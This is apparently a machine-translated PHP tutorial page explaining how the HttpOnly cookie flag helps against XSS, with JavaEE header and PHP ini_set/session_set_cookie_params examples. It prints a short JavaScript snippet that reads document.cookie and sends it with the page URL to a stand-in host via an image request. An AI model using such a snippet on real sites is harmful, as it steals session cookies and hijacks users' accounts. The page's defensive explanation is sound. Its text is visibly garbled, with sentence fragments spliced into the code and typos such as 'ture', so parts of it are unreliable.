Maison >développement back-end >tutoriel php >PHP utilise httponly pour empêcher les attaques XSS

PHP utilise httponly pour empêcher les attaques XSS

怪我咯
怪我咯original
2017-07-12 15:30:492258parcourir
  1. Qu'est-ce que HttpOnly ?

    Si vous définissez l'attribut HttpOnly dans cookie, les informations du cookie ne seront pas lues via le script js. Ceci est efficace pour. pour empêcher les attaques XSS, veuillez rechercher sur Google une introduction plus spécifique

  2. L'API est-elle prise en charge par javaEE ?

Actuellement, Sun n'a pas annoncé l'API correspondante, mais PHP et C# l'ont implémentée. Les frères qui sont engagés dans javaEE sont assez déprimés, ne vous inquiétez pas, il existe des solutions de contournement ci-dessous

3 Exemple de paramètre HttpOnly

javaEE
response.setHeader("Set-Cookie", "cookiename=value;
Path=/;Domain=domainvalue;Max-Age=seconds;HTTPOnly");

Cet article présente principalement php pour la défense xss. Utilisez httponly pour empêcher Si une vulnérabilité XSS se produit sur un site Web, du code JS arbitraire peut être exécuté. Le plus terrifiant est que les attaquants utilisent JS pour obtenir un piratage de

cookie

ou de session. contient une grande quantité d’informations sensibles (informations d’identité, informations d’administrateur), etc., c’est tout. . . Le js suivant obtient les informations sur les cookies :

Le code est le suivant :

Les cookies généraux sont obtenus à partir du document
url=document.top.location.href;
cookie=document.cookie;
c=new Image();
c.src='http://www.test.com/c.php?c='+cookie+'&u='+url;
objet

. Désormais, le navigateur Lors de la configuration des cookies, un paramètre appelé HttpOnly est généralement accepté, tout comme le domaine et les autres paramètres. Une fois ce HttpOnly défini, vous ne verrez pas le cookie dans l'objet document du navigateur.
Paramètres PHP HttpOnly
:

Pour les versions PHP antérieures à PHP5.1 passées :
//在php.ini中,session.cookie_httponly = ture 来开启全局的Cookie的HttpOnly属性
ini_set("session.cookie_httponly", 1);

//或者setcookie()的第七个参数设置为true
session_set_cookie_params(0, NULL, NULL, NULL, TRUE);

Enfin, HttpOnly n'est pas un panacée !
header("Set-Cookie: hidden=value; httpOnly");

Ce qui précède est le contenu détaillé de. pour plus d'informations, suivez d'autres articles connexes sur le site Web de PHP en chinois!

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn